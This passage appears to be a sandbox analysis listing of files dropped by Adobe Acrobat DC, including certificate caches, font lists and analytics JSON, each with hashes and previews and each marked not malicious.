Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.713856455951669
Encrypted:	false
SSDEEP:	3:kkFklMHG+stfllXlE/HT8k77l1NNX8RolJuRdxLlGB9lQRYwpDdt:kKVHyeT8I7VNMa8RdWBwRd
MD5:	EE68C916CC2CA4F7A2C1F99854CBD13A
SHA1:	DC6853A130B708DBA7EB59346F839B230A46843F
SHA-256:	60272B322C8E30DFF9ADBEA0198B722AF2EEEEE1815E6D945FB2C508B2A6E5E4
SHA-512:	8F3C0C60C4B8CF9584064064BC72964F99193B8D95A8F95950B487F0F363E1F69E31B2216C48771AAA631E671B2248DDE9019BA70B15FC9498FA6F88D74B7B69
Malicious:	false
Preview:	p...... ........?4...c..(....................................................... ..........W....t...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.242990426783058
Encrypted:	false
SSDEEP:	6:kKbPL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:riDImsLNkPlE99SNxAhUe/3
MD5:	C99C418DD0B6ECC50A747D9FBE6B0762
SHA1:	668C15B55902A91151E43740035109AB22435B53
SHA-256:	B6670693C58A8ED4BD03E022B5FA6EDDD3C658A13CA7E52900FA678C5F458F58
SHA-512:	0D4B7D5952045765B2370E408FAB90B583C467A506C258F95F7BC066759BF99FFEA362C367C918F0FE06C004758CFD4D2A531E3BC46FCBE423D21B6AB7F3C801
Malicious:	false
Preview:	p...... ........q....c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7356

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7356

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3875832220469855
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFSwTdlDWtUib5Glvp0YhANJqoAvJM3g98kUwPeUkwRe9:YvXKXFNDSUitomNGMbLUkee9
MD5:	F97E0585E3A0265359D846488BED58B0
SHA1:	679203B24926AB9F676A06BA672EA2D798A42C00
SHA-256:	A6EE50F85812F18B99C3339CF0074097914B63F25B319CAA14F27241BEF4CB36
SHA-512:	CE5D6F9579E77B37C81EA03F06BF3F0EFD1BDD891306E399FFC696B45DEF315D6E6032C2BEF60E1F0547EFD884245B5B3F9DF1F61DD550D5CD45F34DD32AF5D7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"279d68cc-b2a8-4fdf-b7b8-f28835601bb3","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736741403411,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.3343409881698625
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFSwTdlDWtUib5Glvp0YhANJqoAvJfBoTfXpnrPeUkwRe9:YvXKXFNDSUitomNGWTfXcUkee9
MD5:	192AA15529997B4B05166709B70FBF1B
SHA1:	6953B9EEF40E251B8DC6F95567297A191CD8B71B
SHA-256:	31B7EF2F0A35D70275314FFD34815FDA708B40FE3830823994DD113FDBD10BD8
SHA-512:	F8248BA54A274EEB5CF8A6D0102EAF1EC071B94B7937BE988BE3678978246E4242285A07D8E213A63DF556EE7EDA75AECC3DB6463C44AE351EB5F023A65FEDDD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"279d68cc-b2a8-4fdf-b7b8-f28835601bb3","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736741403411,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.312293588169222
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFSwTdlDWtUib5Glvp0YhANJqoAvJfBD2G6UpnrPeUkwRe9:YvXKXFNDSUitomNGR22cUkee9
MD5:	20DDC3930A3CB86C2FECBA921BDBD05B
SHA1:	B4675B3CED718B7A5E2507AEAF85B8F07D83FC4F
SHA-256:	99629028CDF123881F43877DBC781498F6817373A4C2647CA90EA60C9EC349FF
SHA-512:	D2397D897A04B3ED7BF505995153224CFDDAD49A083F897DFBC3A95F3284888F2175425C15A3488871910931B75E1F5889EA03EBE585CD70946814077A134A54
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"279d68cc-b2a8-4fdf-b7b8-f28835601bb3","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736741403411,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.379111552505003
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFSwTdlDWtUib5Glvp0YhANJqoAvJfPmwrPeUkwRe9:YvXKXFNDSUitomNGH56Ukee9
MD5:	076F0739B89559D6959A6E8232335B5D
SHA1:	2D9A3AE711718AF5582106E13A45AC29B0E9EF65
SHA-256:	646954BAD524E74A79D25F73882CEDE88C9863352518449AD3DF0D479AA1879D
SHA-512:	9F556304355B7476AF5F420EF7155794E6BFAC13EF5677E256267237393DB103E45E359D20A1F9BE5B1FCF13E702DD4E87F57B222F922CDAFB4ABB064F40F5AA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"279d68cc-b2a8-4fdf-b7b8-f28835601bb3","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736741403411,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.695228287305809
Encrypted:	false
SSDEEP:	24:Yv6XDDi6xpLgE9cQx8LennAvzBvkn0RCmK8czOCCSu:Yvt6xhgy6SAFv5Ah8cv/u
MD5:	18D6C68F1D4B128248C9C26715E635C6
SHA1:	0989CA98BC936DD506969D366AC74C90B2E2B536
SHA-256:	B064873E5CD8F11A560F7207022586C19A6A398FE1C539132D9E44EFEBE94746
SHA-512:	1C0652AFD8CB953D8A7C00DADDF1488ED6718288CCE9EB11A6C626D45CF358FB0A1835A1E92914118A9A3435B761DE051CD976F7BF6CC78232277BAD86695C05
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"279d68cc-b2a8-4fdf-b7b8-f28835601bb3","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736741403411,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.327873975010405
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFSwTdlDWtUib5Glvp0YhANJqoAvJf8dPeUkwRe9:YvXKXFNDSUitomNGU8Ukee9
MD5:	EBAA52AA88251D45CA189CDEB9AA0ABA
SHA1:	656112E78AF7B347B11D1B0E62D92C191425391C
SHA-256:	4A1F102B93E86E96E061EC898848E20AF608B6B40CB6A28A3993509D1FCD9A3A
SHA-512:	2AFA639A12CD1A2040143D08299E80FBE6748934370427FF0799AE80850DCC9AA43FE0541CAFA1B7C8D303C513DB4A1D985D5AE606C69B9CBB8D686CB890A53D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"279d68cc-b2a8-4fdf-b7b8-f28835601bb3","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736741403411,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.328851797368115
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFSwTdlDWtUib5Glvp0YhANJqoAvJfQ1rPeUkwRe9:YvXKXFNDSUitomNGY16Ukee9
MD5:	8D68E602B767D05751F8C8FCEBFE8AFA
SHA1:	D70D660E4325CF1E9AD8C0A731FB5C6E495C84A0
SHA-256:	4D509A9F15147901300BF6B009813FDFBA4D85638633D91BC8DFFBDB1E2BFEC4
SHA-512:	48C9B820051588F807A92668990DD67F70B7C2BA4D091BA6EEA07A3F318DD28F3662D36795C8E05BB21B2A5435CD949D43B130881C0AF0DB9B74D94619707DC3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"279d68cc-b2a8-4fdf-b7b8-f28835601bb3","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736741403411,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.337177059067815
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFSwTdlDWtUib5Glvp0YhANJqoAvJfFldPeUkwRe9:YvXKXFNDSUitomNGz8Ukee9
MD5:	8B00936A67BD97F77A9E4EB26324C96A
SHA1:	F50F6CF5CD477F498831D074F463BA198DEDA283
SHA-256:	2E45ECE06421DBFC266FB184D7BF4B470DD2ACCB993E93F05D0841BE3DAD7E39
SHA-512:	66D6E942F10D02FC5E625D4BAAE47B3E79B6114DCB35A68E08E349CC0C9BD5D0661FE3277FB5F39C2ED01794045F983FC9303AA31457AD8720C88474A47AD57E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"279d68cc-b2a8-4fdf-b7b8-f28835601bb3","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736741403411,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3537077277856095
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFSwTdlDWtUib5Glvp0YhANJqoAvJfzdPeUkwRe9:YvXKXFNDSUitomNGb8Ukee9
MD5:	6D30113F1A31EFAA7E12AE6EFEF7469C
SHA1:	3A092087E1A6A631DD61CBB4057FB803FCDD30A7
SHA-256:	B25E9790D12648EABEA3FBD58787EC2DFDA04EAB07F95A5125BA9E1E1515CCDA
SHA-512:	9B201A61A29A32D96CB941F0F8524FFE043AD69163DAD5BDD273186C694DFD76A742EF5A00AAFA93A97C37229FC28911F7F02DCA5DE030A3CB9361BC6190249D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"279d68cc-b2a8-4fdf-b7b8-f28835601bb3","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736741403411,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.334770678925222
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFSwTdlDWtUib5Glvp0YhANJqoAvJfYdPeUkwRe9:YvXKXFNDSUitomNGg8Ukee9
MD5:	8F119A62452AEB65BF4A72278A6F3667
SHA1:	23E5D0C526FECA706BB19A046B48B1D051C78A14
SHA-256:	9804FC20255E4E9637A7D8E367B04CD1A30698E2779781F6D932651A000C8D43
SHA-512:	A8212D6117ED51B131B65AC1928C0A50058C35DF556D6422782350D93D6B78841C33229FEA17FE6DF3B770403D4911EAAC00678DB59950A0411C379354632180
Malicious:	false
